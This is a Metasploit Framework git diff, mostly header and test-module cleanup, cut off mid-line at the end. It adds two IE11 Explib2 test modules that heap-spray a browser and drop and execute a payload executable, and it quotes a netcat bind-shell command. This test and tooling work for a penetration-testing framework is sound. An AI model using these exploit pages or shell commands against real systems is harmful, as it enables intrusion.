https://github.com/rapid7/metasploit-framework ## @@ -20,7 +14,6 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'Simple Recon Module Tester', - 'Version' => '$Revision$', 'Description' => 'Simple Recon Module Tester', 'Author' => 'hdm', 'License' => MSF_LICENSE diff --git a/test/modules/auxiliary/test/scanner_range.rb b/test/modules/auxiliary/test/scanner_range.rb index 59d5acfbf9..76210a771d 100644 --- a/test/modules/auxiliary/test/scanner_range.rb +++ b/test/modules/auxiliary/test/scanner_range.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,7 +14,6 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'Simple Recon Module Tester', - 'Version' => '$Revision$', 'Description' => 'Simple Recon Module Tester', 'Author' => 'hdm', 'License' => MSF_LICENSE diff --git a/test/modules/auxiliary/test/space-check.rb b/test/modules/auxiliary/test/space-check.rb index a8a632d686..6e5fafe29a 100644 --- a/test/modules/auxiliary/test/space-check.rb +++ b/test/modules/auxiliary/test/space-check.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/test/modules/exploits/test/aggressive.rb b/test/modules/exploits/test/aggressive.rb index 28087e438e..293301faa3 100644 --- a/test/modules/exploits/test/aggressive.rb +++ b/test/modules/exploits/test/aggressive.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -23,7 +17,6 @@ class Metasploit3 < Msf::Exploit::Remote "This module tests the exploitation of a test service.", 'Author' => 'skape', 'License' => MSF_LICENSE, - 'Version' => '$Revision$', 'Arch' => 'x86', 'Payload' => { diff --git a/test/modules/exploits/test/browserexploitserver.rb b/test/modules/exploits/test/browserexploitserver.rb index 1d45f210d6..7b27f3c647 100644 --- a/test/modules/exploits/test/browserexploitserver.rb +++ b/test/modules/exploits/test/browserexploitserver.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/test/modules/exploits/test/check.rb b/test/modules/exploits/test/check.rb index 52d0e0c10f..4bbcca8b98 100644 --- a/test/modules/exploits/test/check.rb +++ b/test/modules/exploits/test/check.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/test/modules/exploits/test/cmdweb.rb b/test/modules/exploits/test/cmdweb.rb index 016d25834b..ecf80239cb 100644 --- a/test/modules/exploits/test/cmdweb.rb +++ b/test/modules/exploits/test/cmdweb.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -16,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote # =( need more targets and perhaps more OS specific return values OS specific would be preferred include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -26,7 +20,6 @@ class Metasploit3 < Msf::Exploit::Remote on an Apache Tomcat server. }, 'Author' => 'bannedit', - 'Version' => '$Revision$', 'References' => [ ], diff --git a/test/modules/exploits/test/dialup.rb b/test/modules/exploits/test/dialup.rb index a4f9b6cb60..c5a662edd2 100644 --- a/test/modules/exploits/test/dialup.rb +++ b/test/modules/exploits/test/dialup.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -23,7 +17,6 @@ class Metasploit3 < Msf::Exploit::Remote This exploit connects to a system's modem over dialup and provides the user with a readout of the login banner. }, - 'Version' => '$Revision$', 'Author' => [ 'I)ruid', diff --git a/test/modules/exploits/test/egghunter.rb b/test/modules/exploits/test/egghunter.rb index 8da86b65ad..7c4ca444c6 100644 --- a/test/modules/exploits/test/egghunter.rb +++ b/test/modules/exploits/test/egghunter.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -24,7 +18,6 @@ class Metasploit3 < Msf::Exploit::Remote "This module tests the exploitation of a test service using the Egghunter.", 'Author' => 'jduck', 'License' => MSF_LICENSE, - 'Version' => '$Revision$', 'Arch' => ARCH_X86, 'Payload' => { diff --git a/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb b/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb new file mode 100644 index 0000000000..dd92b9309c --- /dev/null +++ b/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb @@ -0,0 +1,89 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "Explib2 Drop Exec Test Case", + 'Description' => %q{ + This module allows to test integration of Explib2 into metasploit. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'guhe120', # Original explib2 author + 'juan vazquez' + ], + 'References' => + [ + [ 'URL', 'https://github.com/jvazquez-r7/explib2' ] # The original repo has been deleted + ], + 'Platform' => 'win', + 'BrowserRequirements' => + { + :source => /script/i, + :os_name => OperatingSystems::WINDOWS, + :ua_name => HttpClients::IE, + :ua_ver => '11.0' + }, + 'Targets' => + [ + [ 'Automatic', { } ] + ], + 'DisclosureDate' => "Mar 28 2014", + 'DefaultTarget' => 0)) + end + + def exploit_html + + exe_js = Rex::Text.to_unescape(generate_payload_exe, ENDIAN_LITTLE, "\\u") + + template = %Q|<html> +<head> + <script> + <%= js_explib2_payload("drop_exec") %> + </script> + <script> + <%= js_explib2 %> + </script> +</head> +<body> +<script> +var pe_exe = "<%= exe_js %>" + +var num_arrays = 98688; +var arr_size = (0x1000 - 0x20)/4; +var explib = new ExpLib( num_arrays, arr_size, 0x1a1b3000, new payload_drop_exec(pe_exe) ); +explib.setArrContents([0x21212121, 0x22222222, 0x23232323, 0x24242424]); +explib.spray(); + +/* +* Modify array length +* In the real world exp, you need to modify the array length field with your vulnerability +*/ +alert( 'Execute the command in windbg: "ed 1a1b3000+18 400"' ); + +explib.go(); + +</script> +</body> +</html> + | + + return template, binding() + end + + def on_request_exploit(cli, request, target_info) + send_exploit_html(cli, exploit_html) + end + +end diff --git a/test/modules/exploits/test/explib2_ie11_exec_test_case.rb b/test/modules/exploits/test/explib2_ie11_exec_test_case.rb new file mode 100644 index 0000000000..9ac473a9c4 --- /dev/null +++ b/test/modules/exploits/test/explib2_ie11_exec_test_case.rb @@ -0,0 +1,84 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "Explib2 Exec Test Case", + 'Description' => %q{ + This module allows to test integration of Explib2 into metasploit. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'guhe120', # Original explib2 author + 'juan vazquez' + ], + 'References' => + [ + [ 'URL', 'https://github.com/jvazquez-r7/explib2' ] # The original repo has been deleted + ], + 'Platform' => 'win', + 'BrowserRequirements' => + { + :source => /script/i, + :os_name => OperatingSystems::WINDOWS, + :ua_name => HttpClients::IE, + :ua_ver => '11.0' + }, + 'Targets' => + [ + [ 'Automatic', { } ] + ], + 'DisclosureDate' => "Mar 28 2014", + 'DefaultTarget' => 0)) + end + + def exploit_html + template = %Q|<html> +<head> + <script> + <%=js_explib2_payload%> + </script> + <script> + <%=js_explib2%> + </script> +</head> +<body> +<script> + +var num_arrays = 98688; +var arr_size = (0x1000 - 0x20)/4; +var explib = new ExpLib( num_arrays, arr_size, 0x1a1b3000, new payload_exec('calc.exe') ); +explib.setArrContents([0x21212121, 0x22222222, 0x23232323, 0x24242424]); +explib.spray(); + +/* +* Modify array length +* In the real world exp, you need to modify the array length field with your vulnerability +*/ +alert( 'Execute the command in windbg: "ed 1a1b3000+18 400"' ); + +explib.go(); + +</script> +</body> +</html> + | + + return template, binding() + end + + def on_request_exploit(cli, request, target_info) + send_exploit_html(cli, exploit_html) + end + +end diff --git a/test/modules/exploits/test/exploitme.rb b/test/modules/exploits/test/exploitme.rb index a2b7b4411a..7a728b1a1b 100644 --- a/test/modules/exploits/test/exploitme.rb +++ b/test/modules/exploits/test/exploitme.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -22,7 +16,6 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => 'This module tests the exploitation of a test service', 'Author' => ['skape', 'Julien Tinnes <julien[at]cr0.org>'], 'License' => MSF_LICENSE, - 'Version' => '$Revision$', #'Arch' => ARCH_MIPSBE, 'Payload' => { diff --git a/test/modules/exploits/test/java_tester.rb b/test/modules/exploits/test/java_tester.rb index 464e3e938e..654901ffc2 100644 --- a/test/modules/exploits/test/java_tester.rb +++ b/test/modules/exploits/test/java_tester.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -21,7 +15,6 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ }, 'License' => MSF_LICENSE, 'Author' => [ 'egypt' ], - 'Version' => '$Revision$', 'References' => [ ], 'Platform' => [ 'java', 'linux' ], 'Arch' => ARCH_JAVA, diff --git a/test/modules/exploits/test/kernel.rb b/test/modules/exploits/test/kernel.rb index 70b25dfd8c..5ca63ed3a4 100644 --- a/test/modules/exploits/test/kernel.rb +++ b/test/modules/exploits/test/kernel.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -27,7 +21,6 @@ class Metasploit3 < Msf::Exploit::Remote "This module tests the exploitation of a kernel-mode test service.", 'Author' => 'skape', 'License' => MSF_LICENSE, - 'Version' => '$Revision$', 'Arch' => 'x86', 'Payload' => { diff --git a/test/modules/exploits/test/shell.rb b/test/modules/exploits/test/shell.rb index 8cd284aa41..a961d3cbf8 100644 --- a/test/modules/exploits/test/shell.rb +++ b/test/modules/exploits/test/shell.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -24,7 +18,6 @@ class Metasploit3 < Msf::Exploit::Remote like: nc -l -p 31337 -e /bin/sh }, 'Author' => 'egypt', - 'Version' => '$Revision$', 'References' => [ ], 'DefaultOptions' => { }, 'Payload' => diff --git a/test/modules/post/test/extapi.rb b/test/modules/post/test/extapi.rb index adca64609d..3323bc8ad6 100644 --- a/test/modules/post/test/extapi.rb +++ b/test/modules/post/test/extapi.rb @@ -2,7 +2,8 @@ require 'msf/core' require 'rex' -$:.push "test/lib" unless $:.include? "test/lib" +lib = File.join(Msf::Config.install_root, "test", "lib") +$:.push(lib) unless $:.include?(lib) require 'module_test' class Metasploit4 < Msf::Post diff --git a/test/modules/post/test/file.rb b/test/modules/post/test/file.rb index f5b2061ea1..34ecfa39c3 100644 --- a/test/modules/post/test/file.rb +++ b/test/modules/post/test/file.rb @@ -1,5 +1,7 @@ +require 'msf/core' -$:.push "test/lib" unless $:.include? "test/lib" +lib = File.join(Msf::Config.install_root, "test", "lib") +$:.push(lib) unless $:.include?(lib) require 'module_test' #load 'test/lib/module_test.rb' @@ -30,7 +32,7 @@ class Metasploit4 < Msf::Post # def setup @old_pwd = pwd - tmp = (directory?("/tmp")) ? "/tmp" : "%TMP%" + tmp = (directory?("/tmp")) ? "/tmp" : "%TEMP%" vprint_status("Setup: changing working directory to #{tmp}") cd(tmp) diff --git a/test/modules/post/test/get_env.rb b/test/modules/post/test/get_env.rb new file mode 100644 index 0000000000..32dcb9376f --- /dev/null +++ b/test/modules/post/test/get_env.rb @@ -0,0 +1,62 @@ +require 'msf/core' + +lib = File.join(Msf::Config.install_root, "test", "lib") +require 'module_test' + +#load 'test/lib/module_test.rb' +#load 'lib/rex/text.rb' +#load 'lib/msf/core/post/common.rb' + +class Metasploit4 < Msf::Post + + include Msf::ModuleTest::PostTest + include Msf::Post::Common + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Test Post::Common Get Envs', + 'Description' => %q{ This module will test Post::Common get envs API methods }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Ben Campbell'], + 'Platform' => [ 'windows', 'linux', 'java', 'python' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ] + )) + end + + def test_get_env_windows + if session.platform =~ /win/i + it "should return windows path" do + path = get_env('WINDIR') + path =~ /windows/i + end + + it "should handle % signs" do + path = get_env('%WINDIR%') + path =~ /windows/i + end + end + end + + def test_get_env_nix + unless session.platform =~ /win/i + it "should return user" do + user = get_env('USER') + !user.blank? + end + + it "should handle $ sign" do + user = get_env('$USER') + !user.blank? + end + end + end + + def test_get_envs + it "should return multiple envs" do + res = get_envs('PATH','USERNAME') + !res['PATH'].blank? && !res['USERNAME'].blank? + end + end + +end + diff --git a/test/modules/post/test/meterpreter.rb b/test/modules/post/test/meterpreter.rb index d29ef6f223..bfc195ce1f 100644 --- a/test/modules/post/test/meterpreter.rb +++ b/test/modules/post/test/meterpreter.rb @@ -2,7 +2,8 @@ require 'msf/core' require 'rex' -$:.push "test/lib" unless $:.include? "test/lib" +lib = File.join(Msf::Config.install_root, "test", "lib") +$:.push(lib) unless $:.include?(lib) require 'module_test' class Metasploit4 < Msf::Post @@ -34,7 +35,7 @@ class Metasploit4 < Msf::Post if (stat and stat.directory?) tmp = "/tmp" else - tmp = session.fs.file.expand_path("%TMP%") + tmp = session.fs.file.expand_path("%TEMP%") end vprint_status("Setup: changing working directory to #{tmp}") session.fs.dir.chdir(tmp) @@ -116,10 +117,12 @@ class Metasploit4 < Msf::Post res end - it "should return network routes" do - routes = session.net.config.get_routes + if session.commands.include?("stdapi_net_config_get_routes") + it "should return network routes" do + routes = session.net.config.get_routes - routes and routes.length > 0 + routes and routes.length > 0 + end end end @@ -161,10 +164,11 @@ class Metasploit4 < Msf::Post end it "should create and remove a dir" do - res = create_directory("meterpreter-test") + session.fs.dir.rmdir("meterpreter-test-dir") rescue nil + res = create_directory("meterpreter-test-dir") if (res) - session.fs.dir.rmdir("meterpreter-test") - res &&= !session.fs.dir.entries.include?("meterpreter-test") + session.fs.dir.rmdir("meterpreter-test-dir") + res &&= !session.fs.dir.entries.include?("meterpreter-test-dir") vprint_status("Directory removed successfully") end @@ -172,16 +176,17 @@ class Metasploit4 < Msf::Post end it "should change directories" do - res = create_directory("meterpreter-test") + session.fs.dir.rmdir("meterpreter-test-dir") rescue nil + res = create_directory("meterpreter-test-dir") old_wd = session.fs.dir.pwd vprint_status("Old CWD: #{old_wd}") if res - session.fs.dir.chdir("meterpreter-test") + session.fs.dir.chdir("meterpreter-test-dir") new_wd = session.fs.dir.pwd vprint_status("New CWD: #{new_wd}") - res &&= (new_wd =~ /meterpreter-test$/) + res &&= (new_wd =~ /meterpreter-test-dir$/) if res session.fs.dir.chdir("..") @@ -189,8 +194,8 @@ class Metasploit4 < Msf::Post vprint_status("Back to old CWD: #{wd}") end end - session.fs.dir.rmdir("meterpreter-test") - res &&= !session.fs.dir.entries.include?("meterpreter-test") + session.fs.dir.rmdir("meterpreter-test-dir") + res &&= !session.fs.dir.entries.include?("meterpreter-test-dir") vprint_status("Directory removed successfully") res @@ -217,8 +222,9 @@ class Metasploit4 < Msf::Post it "should upload a file" do res = true - remote = "HACKING.remote.txt" - local = "HACKING" + + remote = "meterpreter-test-file.txt" + local = __FILE__ vprint_status("uploading") session.fs.file.upload_file(remote, local) vprint_status("done") @@ -267,8 +273,8 @@ class Metasploit4 < Msf::Post it "should do md5 and sha1 of files" do res = true - remote = "HACKING.remote.txt" - local = "HACKING" + remote = "meterpreter-test-file.txt" + local = __FILE__ vprint_status("uploading") session.fs.file.upload_file(remote, local) vprint_status("done") diff --git a/test/modules/post/test/railgun_reverse_lookups.rb b/test/modules/post/test/railgun_reverse_lookups.rb index e829b1e432..7b2c1f6daa 100644 --- a/test/modules/post/test/railgun_reverse_lookups.rb +++ b/test/modules/post/test/railgun_reverse_lookups.rb @@ -1,16 +1,15 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' require 'msf/core/post/windows/railgun' -$:.push "test/lib" unless $:.include? "test/lib" +lib = File.join(Msf::Config.install_root, "test", "lib") +$:.push(lib) unless $:.include?(lib) require 'module_test' class Metasploit3 < Msf::Post diff --git a/test/modules/post/test/registry.rb b/test/modules/post/test/registry.rb index d22b3fc7aa..a95defaafa 100644 --- a/test/modules/post/test/registry.rb +++ b/test/modules/post/test/registry.rb @@ -1,16 +1,15 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' require 'msf/core/post/windows/registry' -$:.push "test/lib" unless $:.include? "test/lib" +lib = File.join(Msf::Config.install_root, "test", "lib") +$:.push(lib) unless $:.include?(lib) require 'module_test' class Metasploit3 < Msf::Post @@ -57,6 +56,13 @@ class Metasploit3 < Msf::Post valdata = registry_getvaldata(%q#HKCU\Environment#, "TEMP") ret &&= !!(valinfo["Data"] == valdata) + valdata = registry_getvaldata(%q#HKCU\Environment#, "TEMP", REGISTRY_VIEW_NATIVE) + ret &&= !!(valinfo["Data"] == valdata) + valdata = registry_getvaldata(%q#HKCU\Environment#, "TEMP", REGISTRY_VIEW_32_BIT) + ret &&= !!(valinfo["Data"] == valdata) + valdata = registry_getvaldata(%q#HKCU\Environment#, "TEMP", REGISTRY_VIEW_64_BIT) + ret &&= !!(valinfo["Data"] == valdata) + ret end diff --git a/test/modules/post/test/services.rb b/test/modules/post/test/services.rb index a09af403ec..d5c9c9dff5 100644 --- a/test/modules/post/test/services.rb +++ b/test/modules/post/test/services.rb @@ -6,13 +6,13 @@ require 'msf/core' require 'rex' require 'msf/core/post/windows/services' -$:.push "test/lib" unless $:.include? "test/lib" +lib = File.join(Msf::Config.install_root, "test", "lib") +$:.push(lib) unless $:.include?(lib) require 'module_test' class Metasploit3 < Msf::Post include Msf::Post::Windows::Services - include Msf::ModuleTest::PostTest def initialize(info={}) @@ -21,7 +21,6 @@ class Metasploit3 < Msf::Post 'Description' => %q{ This module will test windows services methods within a shell}, 'License' => MSF_LICENSE, 'Author' => [ 'kernelsmith', 'egypt' ], - 'Version' => '$Revision: 11663 $', 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter', 'shell' ] )) @@ -43,19 +42,19 @@ class Metasploit3 < Msf::Post it "should start #{datastore["SSERVICE"]}" do ret = true results = service_start(datastore['SSERVICE']) - if results != 0 + if results != Windows::Error::SUCCESS # Failed the first time, try to stop it first, then try again service_stop(datastore['SSERVICE']) results = service_start(datastore['SSERVICE']) end - ret &&= (results == 0) + ret &&= (results == Windows::Error::SUCCESS) ret end it "should stop #{datastore["SSERVICE"]}" do ret = true results = service_stop(datastore['SSERVICE']) - ret &&= (results == 0) + ret &&= (results == Windows::Error::SUCCESS) ret end @@ -68,24 +67,24 @@ class Metasploit3 < Msf::Post ret &&= results.kind_of? Array ret &&= results.length > 0 - ret &&= results.include? datastore["QSERVICE"] + ret &&= results.select{|service| service[:name] == datastore["QSERVICE"]} ret end end def test_info - it "should return info on a given service" do + it "should return info on a given service #{datastore["QSERVICE"]}" do ret = true results = service_info(datastore['QSERVICE']) ret &&= results.kind_of? Hash if ret - ret &&= results.has_key? "Name" - ret &&= (results["Name"] == "Windows Management Instrumentation") - ret &&= results.has_key? "Startup" - ret &&= results.has_key? "Command" - ret &&= results.has_key? "Credentials" + ret &&= results.has_key? :display + ret &&= (results[:display] == "Windows Management Instrumentation") + ret &&= results.has_key? :starttype + ret &&= results.has_key? :path + ret &&= results.has_key? :startname end ret @@ -93,40 +92,157 @@ class Metasploit3 < Msf::Post end def test_create - it "should create a service" do + it "should create a service #{datastore["NSERVICE"]}" do mode = case datastore["MODE"] - when "disable"; 4 - when "manual"; 3 - when "auto"; 2 - else; 2 + when "disable"; START_TYPE_DISABLED + when "manual"; START_TYPE_MANUAL + when "auto"; START_TYPE_AUTO + else; START_TYPE AUTO end - ret = service_create(datastore['NSERVICE'],datastore['DNAME'],datastore['BINPATH'],mode) - ret + ret = service_create(datastore['NSERVICE'], + display: datastore['DNAME'], + path: datastore['BINPATH'], + starttype: mode) + + ret == Windows::Error::SUCCESS end - it "should return info on the newly-created service" do + it "should return info on the newly-created service #{datastore["NSERVICE"]}" do ret = true results = service_info(datastore['NSERVICE']) ret &&= results.kind_of? Hash - ret &&= results.has_key? "Name" - ret &&= (results["Name"] == datastore["DNAME"]) - ret &&= results.has_key? "Startup" - ret &&= (results["Startup"].downcase == datastore["MODE"]) - ret &&= results.has_key? "Command" - ret &&= results.has_key? "Credentials" + ret &&= results.has_key? :display + ret &&= (results[:display] == datastore["DNAME"]) + ret &&= results.has_key? :starttype + ret &&= (START_TYPE[results[:starttype]].downcase == datastore["MODE"]) + ret &&= results.has_key? :path + ret &&= results.has_key? :startname ret end - it "should delete the new service" do + it "should delete the new service #{datastore["NSERVICE"]}" do ret = service_delete(datastore['NSERVICE']) + ret == Windows::Error::SUCCESS + end + end + + def test_status + it "should return status on a given service #{datastore["QSERVICE"]}" do + ret = true + results = service_status(datastore['QSERVICE']) + + ret &&= results.kind_of? Hash + if ret + ret &&= results.has_key? :state + ret &&= (results[:state] > 0 && results[:state] < 8) + end + ret end end + def test_change + service_name = "a" << Rex::Text.rand_text_alpha(5) + display_name = service_name + + it "should modify config on a given service #{service_name}" do + ret = true + + results = service_create(service_name, + display: display_name, + path: datastore['BINPATH'], + starttype: START_TYPE_DISABLED) + + ret &&= (results == Windows::Error::SUCCESS) + results = service_status(service_name) + ret &&= results.kind_of? Hash + if ret + original_display = results[:display] + results = service_change_config(service_name, {:display => Rex::Text.rand_text_alpha(5)}) + ret &&= (results == Windows::Error::SUCCESS) + + results = service_info(service_name) + ret &&= (results[:display] != original_display) + + service_delete(service_name) + + end + + ret + end + end + + def test_restart_disabled + service_name = "a" << Rex::Text.rand_text_alpha(5) + display_name = service_name + + it "should start a disabled service #{service_name}" do + ret = true + results = service_create(service_name, + display: display_name, + path: datastore['BINPATH'], + starttype: START_TYPE_DISABLED) + + ret &&= (results == Windows::Error::SUCCESS) + if ret + begin + results = service_restart(service_name) + ensure + service_delete(service_name) + end + ret &&= results + end + + ret + end + end + + def test_restart_start + service_name = datastore['SSERVICE'] + + it "should restart a started service #{service_name}" do + ret = true + + results = service_start(service_name) + ret &&= (results == Windows::Error::SUCCESS) + if ret + results = service_restart(service_name) + ret &&= results + end + + ret + end + end + + def test_noaccess + it "should raise a runtime exception if no access to service" do + ret = false + begin + results = service_stop("gpsvc") + rescue RuntimeError + ret = true + end + + ret + end + end + + def test_no_service + it "should raise a runtime exception if services doesnt exist" do + ret = false + begin + results = service_status(Rex::Text.rand_text_alpha(5)) + rescue RuntimeError + ret = true + end + + ret + end + end =begin def run diff --git a/test/modules/post/test/unix.rb b/test/modules/post/test/unix.rb index a637c7ccac..e862a388d8 100644 --- a/test/modules/post/test/unix.rb +++ b/test/modules/post/test/unix.rb @@ -1,5 +1,7 @@ +require 'msf/core' -$:.push "test/lib" unless $:.include? "test/lib" +lib = File.join(Msf::Config.install_root, "test", "lib") +$:.push(lib) unless $:.include?(lib) require 'module_test' #load 'test/lib/module_test.rb' diff --git a/test/tests/test_encoders.rb b/test/tests/test_encoders.rb index 429b56f95c..c65d46c7bd 100644 --- a/test/tests/test_encoders.rb +++ b/test/tests/test_encoders.rb @@ -11,7 +11,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) -require 'fastlib' require 'msfenv' require 'msf/base' diff --git a/tools/cpassword_decrypt.rb b/tools/cpassword_decrypt.rb index 24439fc50e..3a1343268d 100755 --- a/tools/cpassword_decrypt.rb +++ b/tools/cpassword_decrypt.rb @@ -1,7 +1,7 @@ #!/usr/bin/env ruby ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,7 +38,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' require 'rex' diff --git a/tools/dev/pre-commit-hook.rb b/tools/dev/pre-commit-hook.rb index 2625d6d64a..514cc75c26 100755 --- a/tools/dev/pre-commit-hook.rb +++ b/tools/dev/pre-commit-hook.rb @@ -1,54 +1,86 @@ #!/usr/bin/env ruby -# Check that modules actually pass msftidy checks first. -# To install this script, make this your pre-commit hook your local -# metasploit-framework clone. For example, if you have checked out -# the Metasploit Framework to: +# Check that modules actually pass msftidy checks before committing +# or after merging. # -# /home/mcfakepants/git/metasploit-framework +# Simply symlink this script to your local .git/hooks/pre-commit script +# and your .git/hooks/post-merge scripts. Note the lack of a trailing +# .rb # -# then you will copy this script to: +# If you are in the top-level dir, the symlink commands would be: # -# /home/mcfakepants/git/metasploit-framework/.git/hooks/pre-commit +# ln -sf ../../tools/dev/pre-commit-hook.rb .git/hooks/pre-commit +# ln -sf ../../tools/dev/pre-commit-hook.rb .git/hooks/post-merge # -# You must mark it executable (chmod +x), and do not name it -# pre-commit.rb (just pre-commit) -# -# If you want to keep up on changes with this hook, just: -# -# ln -sf <this file> <path to commit hook> +# That way, you will track changes to this script when it updates +# (rarely). If you'd prefer to copy it directly, that's okay, too (mark +# it +x and don't name it filename.rb, just filename). + +def merge_error_message + msg = [] + msg << "[*] This merge contains modules failing msftidy.rb" + msg << "[*] Please fix this if you intend to publish these" + msg << "[*] modules to a popular metasploit-framework repo" + puts "-" * 72 + puts msg.join("\n") + puts "-" * 72 +end valid = true # Presume validity files_to_check = [] -results = %x[git diff --cached --name-only] +# Who called us? If it's a post-merge check things operate a little +# differently. +puts "[*] Running msftidy.rb in #{$0} mode" -results.each_line do |fname| +case $0 +when /post-merge/ + base_caller = :post_merge +when /pre-commit/ + base_caller = :pre_commit +else + base_caller = :msftidy +end + +if base_caller == :post_merge + changed_files = %x[git diff --name-only HEAD^ HEAD] +else + changed_files = %x[git diff --cached --name-only] +end + +changed_files.each_line do |fname| fname.strip! - next unless File.exist?(fname) and File.file?(fname) - next unless fname =~ /modules.+\.rb/ + next unless File.exist?(fname) + next unless File.file?(fname) + next unless fname =~ /^modules.+\.rb/ files_to_check << fname end if files_to_check.empty? - puts "--- No Metasploit modules to check, committing. ---" + puts "--- No Metasploit modules to check ---" else - puts "--- Checking module syntax with tools/msftidy.rb ---" + puts "--- Checking new and changed module syntax with tools/msftidy.rb ---" files_to_check.each do |fname| cmd = "ruby ./tools/msftidy.rb #{fname}" msftidy_output= %x[ #{cmd} ] puts "#{fname} - msftidy check passed" if 